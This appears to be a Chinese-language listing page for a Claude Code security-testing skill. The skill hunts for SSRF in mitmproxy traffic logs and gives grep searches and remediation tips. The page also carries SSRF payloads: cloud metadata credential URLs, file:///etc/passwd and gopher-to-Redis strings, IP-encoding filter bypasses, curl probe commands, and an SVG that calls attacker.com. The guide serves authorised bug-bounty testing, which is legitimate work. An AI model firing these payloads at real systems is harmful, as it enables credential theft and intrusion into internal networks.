关于 mitm-find-ssrf
用于分析 mitmproxy 流量记录中 SSRF 入口与迹象的安全测试技能,面向安全测试人员。它引导检查 URL 输入、内网目标测试及发现证据。
主要功能
- 01查找类似 URL 的请求输入
- 02检查文件与 Webhook 端点
- 03检查 Host 相关请求头
- 04测试对内网目标的访问
- 05按严重程度整理发现
适用场景
- 01检查流量记录中的 URL 参数
- 02评估图像或文档处理请求
- 03检查 Webhook 配置流程
- 04记录疑似 SSRF 的证据
安装
复制下面的命令,在终端中运行。
$
npx skills add https:/ / github.com/ instavm/ security-skills --skill mitm-find-ssrf安装后在 Claude Code 中输入/mitm-find-ssrf确认已加载。
详细介绍
查找 SSRF 漏洞
分析 mitmproxy 转储(log.txt),查找以下目标的 SSRF 漏洞:$ARGUMENTS
需要:当前目录中必须有
log.txt。如果文件缺失,请先捕获流量:mitmdump --set flow_detail=3 2>&1 | tee log.txt
高价值 SSRF 模式(来自 113 份真实 HackerOne 漏洞赏金报告)
1. 请求中的 URL 参数
常见的易受攻击参数:
url, uri, path, dest, redirect, link, href
src, source, file, document, page, load
target, proxy, fetch, request, callback
webhook, hook, endpoint, api_url, base_url
image_url, avatar_url, icon_url, logo_url
pdf_url, export_url, import_url, feed_url
搜索模式:
grep -iE '(url|uri|path|src|href|link|dest|redirect|webhook|callback|fetch|proxy|target)[=:]["'\''"]?https?://' log.txt
2. 文件/图片处理端点
漏洞赏金中的真实示例:
- 上传 SVG 会触发 SSRF(Shopify)
- 创建商品时使用图片 URL
- 使用外部资源生成 PDF
- 从 URL 加载头像/个人资料图片
搜索模式:
grep -iE '\.(svg|pdf|xml|html)' log.txt
grep -iE '(upload|import|fetch|process).*url' log.txt
3. 集成/Webhook 端点
真实示例:
- Sentry 源代码抓取
- 使用凭据执行 Git 克隆
- 操纵 OAuth 回调
- 指定 Webhook URL
搜索模式:
grep -iE '(webhook|callback|hook|notify|integration)' log.txt
grep -iE 'git.*clone|git.*url' log.txt
4. Host 头注入
**真实示例:**绕过 Host 头检查,访问内部子域名
Host: internal.target.com
X-Forwarded-Host: internal.target.com
X-Original-URL: /internal/admin
搜索模式:
grep -iE '^Host:' log.txt
grep -iE 'X-Forwarded|X-Original' log.txt
SSRF 目标载荷
内部网络探测
http://127.0.0.1
http://localhost
http://[::1]
http://0.0.0.0
http://169.254.169.254 # AWS metadata
http://metadata.google.internal # GCP metadata
http://100.100.100.200 # Alibaba metadata
云元数据端点(严重)
# AWS
http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/user-data/
http://169.254.169.254/latest/meta-data/iam/security-credentials/
# GCP
http://metadata.google.internal/computeMetadata/v1/
http://169.254.169.254/computeMetadata/v1/
# Azure
http://169.254.169.254/metadata/instance?api-version=2021-02-01
# DigitalOcean
http://169.254.169.254/metadata/v1/
协议混淆
file:///etc/passwd
dict://localhost:11211/
gopher://localhost:6379/_*1%0d%0a$4%0d%0aINFO%0d%0a
ldap://localhost/
漏洞类别与严重程度
| 类型 | 严重程度 | 影响 |
|---|---|---|
| 云元数据访问 | 严重 | AWS 密钥、服务凭据 |
| 内部服务访问 | 高 | 数据库、缓存、管理面板 |
| 盲 SSRF(OOB) | 中 | 端口扫描、内部侦察 |
| 受限 SSRF(无响应) | 低 | 拒绝服务、有限侦察 |
测试方法
第 1 步:识别 URL 输入点
# Find URL-like parameters
grep -iE 'https?://[^\s"'\''<>]+' log.txt | grep -iE '(url|uri|src|href|link|path)='
# Find base64 encoded URLs
grep -oE '[A-Za-z0-9+/]{20,}={0,2}' log.txt | while read b; do echo "$b" | base64 -d 2>/dev/null | grep -q 'http' && echo "Base64 URL: $b"; done
第 2 步:使用内部目标进行测试
# Test localhost
curl 'https://target.com/api/fetch?url=http://127.0.0.1:80'
# Test metadata (AWS)
curl 'https://target.com/api/fetch?url=http://169.254.169.254/latest/meta-data/'
# Test with DNS rebinding
curl 'https://target.com/api/fetch?url=http://your-rebind-domain.com'
第 3 步:绕过常见过滤器
# IP variations
http://127.0.0.1 → http://2130706433 (decimal)
http://127.0.0.1 → http://0x7f000001 (hex)
http://127.0.0.1 → http://0177.0.0.1 (octal)
http://127.0.0.1 → http://127.1
# DNS bypass
http://localhost → http://localtest.me
http://169.254.169.254 → http://[0:0:0:0:0:ffff:169.254.169.254]
# URL encoding
http://127.0.0.1 → http://%31%32%37%2e%30%2e%30%2e%31
第 4 步:通过带外方式确认
# Use Burp Collaborator, webhook.site, or interactsh
curl 'https://target.com/api/fetch?url=http://YOUR-BURP-COLLABORATOR-ID.burpcollaborator.net'
真实攻击场景
场景 1:通过 SSRF 窃取 AWS 凭据
1. Find image import feature: POST /api/import?image_url=XXX
2. Set URL to: http://169.254.169.254/latest/meta-data/iam/security-credentials/
3. Response contains IAM role name
4. Fetch: http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE_NAME
5. Get temporary AWS credentials
场景 2:访问内部服务
1. Find webhook configuration
2. Set webhook URL to internal service: http://internal-admin.local/
3. Trigger webhook
4. Access internal admin panel functionality
场景 3:通过 SVG 实现盲 SSRF
1. Upload SVG file with external reference:
<svg><image href="http://attacker.com/callback"/></svg>
2. Server processes SVG, fetches external URL
3. Attacker receives connection from internal IP
输出格式
## SSRF Finding: [Brief Description]
**Endpoint**: `METHOD https://target.com/path`
**Parameter**: `param_name`
**Type**: [Full|Blind|Partial]
**Severity**: [CRITICAL|HIGH|MEDIUM|LOW]
**Evidence**:
[Request showing URL parameter]
**Tested Payloads**:
- http://127.0.0.1 → [response/behavior]
- http://169.254.169.254 → [response/behavior]
**Impact**:
- Cloud credential theft
- Internal network access
- Service enumeration
**Test Command**:
curl -X METHOD 'https://target.com/...' -d 'url=http://169.254.169.254/'
**Remediation**:
- Whitelist allowed domains
- Block private IP ranges
- Use allowlist for protocols (http/https only)
- Disable redirects or validate redirect targets
可忽略的误报
- 硬编码的静态 CDN URL
- 已通过白名单校验的 OAuth redirect_uri
- 仅接受 HTTPS 且已校验域名的 Webhook URL
- 仅在客户端使用的 URL 参数(JS fetch)
评论
支持 Markdown